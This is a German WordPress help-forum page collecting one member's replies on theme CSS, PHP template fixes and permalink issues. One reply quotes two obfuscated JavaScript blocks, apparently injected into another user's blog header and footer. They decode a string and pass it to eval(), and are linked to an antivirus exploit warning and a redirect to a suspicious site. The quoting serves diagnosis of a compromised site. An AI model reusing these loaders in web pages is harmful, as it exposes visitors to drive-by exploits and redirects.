Beiträge von marX

    Es geht dir nur um die Überschriften-Link, ja?

    Leg dir 3 neue Regeln in der style.css an:

    Code
    .post h2 a:link {
       color: #E59200;
    }
    .post h2 a:visited {
       color: #E59200;
    }
    .post h2 a:hover {
       color: #4F4F4F;
    }


    Wobei ich die Farbtöne zw. besuchten und unbesuchten Links noch etwas abstufen würde.

    Attributwerte müssen immer in Anführungszeichen eingefasst werden (doppelte oder einfache ist egal). Also so:

    Code
    <li class=[COLOR="#ff0000"]"[/COLOR]recentposts[COLOR="Red"]"[/COLOR]>

    wp_list_*() gibt (semantisch korrekt) eine HTML-Liste aus. Die kann natürlich nicht einfach mitten in einer Tabelle stehen.

    Jetzt weiß ich natürlich nicht, was der ursprüngliche Theme-Entwickler da gemacht hat. Möglicherweise hat er wp_list_cats() usw. mit eigenen Funktionen überschrieben, die eine <table>-Ausgabe erzielen. Sowas müsste man u.U. nachbauen. WP stellt Funktionen bereit um das (mehr oder weniger) sauber zu lösen. Für die Kategorien z.B. get_categories(). Darauf aufbauend müsste man eine eigene Ausgabefunktion schreiben (in der functions.php des Themes) und den Aufruf von wp_list_cats() im Theme mit der eigenen Funktion ersetzen.

    Vielleicht reicht es aber auch, die Funktion so einzusetzen:

    hier der aktuelle code:


    Mmh? Da ist doch gar nichts geändert?

    So müsste es passen (Änderungen markiert):

    Solange die Seite keine rechtswidrigen oder pornografischen Inhalte enthält darfst den Link natürlich posten. Siehe auch Forenregeln "Was in einen Beitrag gehört". ;-)

    An einer Stelle stehts noch, und zwar in der linken Sidebar bei den Seiten. Das ist kein Widget oder? Dann wirst du das sicher in der Template-Dateie für die linke Sidebar finden. Sollte ähnlich aussehen.

    Unterseiten hab ich mir jetzt nicht angesehen.

    Mein Antivir springt auch an, irgendwas mit Flash Exploit schreit er. Ignoriere ich die Warnung, dann leitet mich dein Blog auf eine andere Seite (h**p://mysexydreams*net/img/stat/404.php) weiter. Könnte es etwa was mit dem Code im Footer zu tun haben?

    HTML
    <script language=JavaScript>	function zbnb25(z)	{	var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,61,14,29,24,55,3,44,20,43,0,0,0,0,0,0,37,32,18,1,12,11,21,19,13,7,62,42,25,56,28,47,9,34,51,23,59,36,0,45,46,39,38,0,0,0,0,8,0,41,48,10,6,40,17,49,33,27,53,54,15,4,5,2,16,22,26,50,58,30,31,60,52,57,35);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(167^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}zbnb25('pTNs6zDxPB1xdlWx89PAzzNso6_Y6zDgB97bPl3QpSWRGEwzVXaRCSWgcEwhPi7so9yYGJy@IB3jm9Lhll1xS5PQ_oPjSE7b6YeRPIDs_2HQ4o_zKiwxlY4j_E3s60etdl1RPqWgPlDsc0ezHJyYp2azDoMYGJy@Vs_Anu_x2lwxl9a@SqyhlE7RV0wxrJPUIB1xuO7brqMb2G1jEi753ZDsPENhLXPQ2INjd97bLoez') </script><!-- 62.26.219.193 -->


    Hab mir jetzt nicht die Mühe gemacht, das zu entschlüsseln. Sollte aber bspw. mit Firebug recht schnell gehen. Schau mal anch ob das beabsichtigt ist bzw. wo das her kommt. Möglicherweise hängt sich da ein bösartiges Script in den wp_footer-Hook ein.

    Nachtrag: im Header ist was ähnliches (gleiches?) zu finden, direkt nach <body>:

    HTML
    <script language=JavaScript>function xfibnb25(z){var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,54,24,15,49,58,50,35,43,19,0,0,0,0,0,0,41,53,46,12,60,47,57,27,16,18,39,44,31,10,11,42,1,22,45,5,6,61,17,55,59,28,13,0,0,0,0,14,0,8,9,21,30,3,2,51,32,48,37,62,4,29,56,23,7,38,20,25,40,52,26,36,33,34,0);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(173^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}xfibnb25('v9DibNK1e5m1CJZ1de@y@NDia8tjbNKg2eC6eJUhv0Z4s7YxMTb4N0Zgz7Y7egCiaebJ_osJbWtWLXCw3QY1sWUjfMtqdWZ6aJDhl3D6fN21fM@yTf_gsoDhLNC1eJYxhgY1S3nWC3Y6feYxldnqc5bJlvtyY5YjmqKyTOn7ZOZ4bJm4HIbjZQC6l8Y4seFqr1tWs9miaeF7b9KWmpCgrLFif3C63_swfID6LgCia3@ylf')	</script><!-- 62.26.219.193 -->

    Muß ich da was im Header ändern und wie ?


    Ja, hier ist der von mit angesprochene Code:

    PHP
    <h1>[COLOR="Blue"]<a href="<?php echo get_settings('home'); ?>[SIZE="4"][B][COLOR="Red"]/[/COLOR][/B][/SIZE]">[/COLOR]<?php bloginfo('name'); ?></a></h1>


    Den rot markierten Schrägstrich fügst du ein. (Im Header ist das die einzige Stelle die ich gefunden habe. Obs noch mehr gibt kann ich ohne Link zur Seite nicht sagen.)

    Bitte beim nächsten Mal beachten: http://forum.wordpress-deutschland.org/plugins-und-wi…-den-posts.html

    Wie gesagt, dann ist der Link zur Home-Seite kaputt. Das ist Theme-Sache, WP an sich kennt keinen "Home-Link", nur eine "Blog-URL" - und die enthält keinen abschließenden Schrägstrich. Die Links zu Home sind im Theme vermutlich so eingetragen:

    PHP
    <a href="<?php bloginfo('url') ?>">
    <a href="<?php get_option('site_url') ?>">


    Da müsste jeweils noch der Schrägstrich für das Root-Verzeichnis angefügt werden.

    Das ist der lange Gedankenstrich im Titel. Der wird nicht "sanitisiert" (also "schön gemacht" auf gut deutsch). Nimm im Titel einfach einen normalen Bindestrich "-", das ist wohl die einfachste Lösung. Du kannst auch den Permalinknamen des Artikels (Slug) nachträglich ändern.

    (URL per PM)

    Irgendwie wird die Kategorievariable nicht bzw. falsch gesetzt. Und ich weiß auch warum. Hier:

    PHP
    <?php
    foreach((get_the_category()) as $category) { 
        echo $category->cat_name . ' '; 
        $categoryvariable = $category->term_[COLOR="Red"][B]ID[/B][/COLOR];
    } 
    ?>


    Das muss "term_[COLOR="#ff0000"]id[/COLOR]" heißen. Da hab ich mich verlesen. Steht ja auch korrekt im Codex...

    Zitat von Codex

    cat_ID
    the category id (also stored as 'term_[COLOR="#ff0000"]id[/COLOR]')


    Änder das mal, dann müsste es gehen.

    Wegen den Unterkategorien. Da ists wohl dasselbe...

    PHP
    <?php [COLOR="#ff0000"]$childcats[/COLOR] = wp_list_categories('title_li=&child_of=' . $categoryvariable . '&echo=0'); ?>
    <?php if ([COLOR="Blue"]$children[/COLOR]) : ?>
      <ul><?php echo [COLOR="#0000ff"]$children[/COLOR]; ?></ul>
    <?php endif; ?>


    Sorry, ebenfalls mein Fehler... :oops:

    Eine Woche ab wann? Dem Erstelldatum des Posts?

    PHP
    <?php if ( is_single() && (time() < get_the_time('U') + 604800) &&  is_resource( @fsockopen("$host", 80, $errno, $errstr, 1) ) && get_post_meta($post->ID, 'yigg') ) : ?>
      // show button
    <?php endif; ?>


    (604800 Sekunden = 1 Woche)